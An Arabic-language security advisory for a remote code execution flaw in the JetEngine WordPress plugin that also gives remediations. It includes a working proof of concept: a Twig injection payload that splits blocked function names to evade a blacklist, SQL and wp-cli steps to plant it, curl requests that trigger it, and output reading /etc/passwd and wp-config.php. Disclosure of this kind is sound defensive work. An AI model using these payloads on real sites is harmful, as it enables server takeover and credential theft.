
JetEngine <= 3.7.2 - تنفيذ كود عن بُعد بعد المصادقة (مساهم+)
التاريخ: 11 مارس 2026 درجة CVSS: 8.8 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H الإضافة المتأثرة: JetEngine <= 3.7.2 معرّف الإضافة: jet-engine CVE: CVE-2026-28134 الحالة: خاص إصدار ووردبريس المُختبَر: الأحدث
CVE-2026-28134 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة JetEngine لووردبريس، وتؤثر على جميع الإصدارات حتى 3.7.2 وما يشمله. تسمح الثغرة للمهاجمين المصادق عليهم ممن يملكون صلاحية المساهم (Contributor) فأعلى بتنفيذ أوامر نظام تعسفية على الخادم عبر حقن قالب Twig خبيث في منشور قائمة JetEngine (Listing).
تدمج سلسلة الهجوم بين ثلاث نقاط ضعف:
~ الخاص بـ Twig لتقسيم أسماء الدوال المحظورة عبر عدة رموز.✅ تم تأكيد الثغرة — تم تحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد
الأثر المؤكد:
www-data/etc/passwd, wp-config.php)يوفر JetEngine نوع عرض قوائم (Listing view) مبنيًا على Twig/Timber. عند تفعيل مكوّن timber_views، يتم عرض بيانات المنشور _jet_engine_listing_html لمنشورات القوائم التي لديها _listing_type = twig كقالب Twig حي عبر Timber. يمكن الوصول إلى خط أنابيب العرض عبر إجراء AJAX غير المصادق عليه wp_ajax_nopriv_jet_engine_ajax، ولا يتطلب الأمر سوى أن يتمكن المهاجم من إنشاء أو تعديل منشور قائمة JetEngine (حد أدنى دور المساهم).
| الملف | المشكلة |
|---|---|
includes/components/listings/ajax-handlers.php:29 | تسجيل wp_ajax_nopriv_jet_engine_ajax — بدون تحقق من الهوية أو nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — توجيه تعسفي لأي دالة عامة |
includes/components/timber-views/timber.php:150 | render_html() يعرض قالب Twig يتحكم به المهاجم بدون sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — قائمة حظر regex نصية، ويمكن تجاوزها بتقسيم الرموز |
timber-library/lib/Twig.php:42-43 | Timber يسجّل fn()/function() كغلافات Twig لـ call_user_func_array |
ajax-handlers.php يسجّل إجراء AJAX لكل من المستخدمين المصادق عليه وغير المصادق عليه:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
يقوم المعالج بتوجيه الطلب إلى أي دالة عامة في الكلاس بناءً على $_REQUEST['handler'] بدون أي فحص nonce أو صلاحيات:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
استدعاء listing_load_more متاح للعموم ويؤدي إلى تشغيل خط أنابيب عرض القوائم.
سلسلة الاستدعاءات listing_load_more → get_listing → frontend->get_listing_item تصل إلى:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
عندما يكون $listing_view = 'twig'، يتم تشغيل Jet_Engine\Timber_Views\Render::get_listing_content()، والذي يقرأ قالب Twig من حقل المنشور الوصفي _jet_engine_listing_html ويمرّره مباشرة إلى render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
يعرض Twig بدون sandbox. الحماية الوحيدة هي sanitize_twig_content().
sanitize_twig_content() يزيل أسماء دوال PHP الخطيرة باستخدام أنماط regex لحدود الكلمات، ثم يتحقق مما إذا تم تعديل القالب أم لا:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
النمط \bsystem\b يطابق الرمز الحرفي system. لكنه لا يطابق "sys" ~ "tem" لأن هذين رمزين نصيين منفصلين بين علامتي اقتباس. يقوم Twig بتقييم عملية الدمج وقت العرض، فتُنتَج "system" في الذاكرة فقط — بينما لا يحتوي القالب المصدر أبدًا على الكلمة المحظورة.
الحمولة المخترِقة:
{{ fn("sys" ~ "tem", "id") }}
يرى المنظّف fn و"sys" و~ و"tem" و"id" — ولا يوجد أي منها في قائمة الحظر. فيمرر القالب دون تعديل.
fn() الخاص بـ Timberيسجّل Timber أغلفة استدعاءات PHP مباشرة في بيئة Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} يتحول إلى call_user_func_array("system", ["id"]) — تنفيذ أوامر نظام تعسفي.
timber_views في JetEngine مفعّل (إعدادات JetEngine > الأداء > عروض Timber/Twig).أنشئ منشور قائمة JetEngine مع تخزين قالب Twig الخبيث في بيانات المنشور الوصفية:
-- تعيين نوع القائمة إلى twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- حقن حمولة SSTI (تجاوز المنظّف عبر دمج ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- تعيين مصدر القائمة
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
أو عبر wp-cli (بصفتك مستخدم المساهم):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
تقسيم السلسلة المحظورة passthru إلى "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
القالب المضبوط على {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
القالب {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax يعمل للطلبات غير المصادق عليها. لا يقوم موزّع handle_ajax() بأي تحقق من nonce ولا أي فحص صلاحيات قبل استدعاء listing_load_more. وبالتالي يمكن لأي مستخدم غير مصادق الوصول إلى خط أنابيب العرض بمجرد وجود قائمة خبيثة.
إضافة sandbox الرسمية في Twig (\Twig\Sandbox\SecurityPolicy) تفرض قوائم السماح على مستوى المحرّك — ومن المستحيل استدعاء دوال غير مسموح بها صراحة. يستخدم JetEngine createTemplate() بدون sandbox. الحماية الوحيدة هي فحص نصي قبل العرض، ويمكن التحايل عليها بسهولة.
أسلوب قائمة الحظر (/\bsystem\b/i) يعمل على النص الثابت لمصدر القالب. عامل دمج السلاسل ~ في Twig يبني السلاسل وقت التشغيل. يمكن تقسيم أي اسم محظور: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", إلى آخره. كان سيرفض sandbox صحيح الاستدعاء بغض النظر عن طريقة بناء اسم الدالة.
call_user_func_arrayمساعدا Twig في Timber fn() وfunction() هما جسران غير مشروطين إلى call_user_func_array في PHP. لا توجد قائمة سماح للدوال القابلة للاستدعاء. يمكن استدعاء أي دالة PHP يمكن الوصول إليها من عملية الويب.
| الإصلاح | الوصف |
|---|---|
إضافة فحص nonce وصلاحيات إلى handle_ajax() | اشتراط صلاحية edit_posts وnonce صالح لجميع توجيهات AJAX |
| تفعيل Twig sandbox | استبدال قائمة الحظر النصية بـ \Twig\Sandbox\SecurityPolicy — قائمة سماح صريحة للدوال والخصائص الآمنة |
تقييد مساعد fn() في Timber | قائمة سماح لأسماء الدوال القابلة للاستدعاء أو إزالة fn()/function() من بيئة Twig للقوالب غير الموثوقة |
| التحقق من ملكية القائمة | تأكيد أن المستخدم الطالب يملك صلاحية edit_post على القائمة قبل عرض قالبها |
| التاريخ | الحدث |
|---|---|
| 2026-03-11 | اكتشاف الثغرة وتأكيدها مع إثبات مفهوم كامل لـ RCE |
| 2026-03-11 | إعداد التقرير |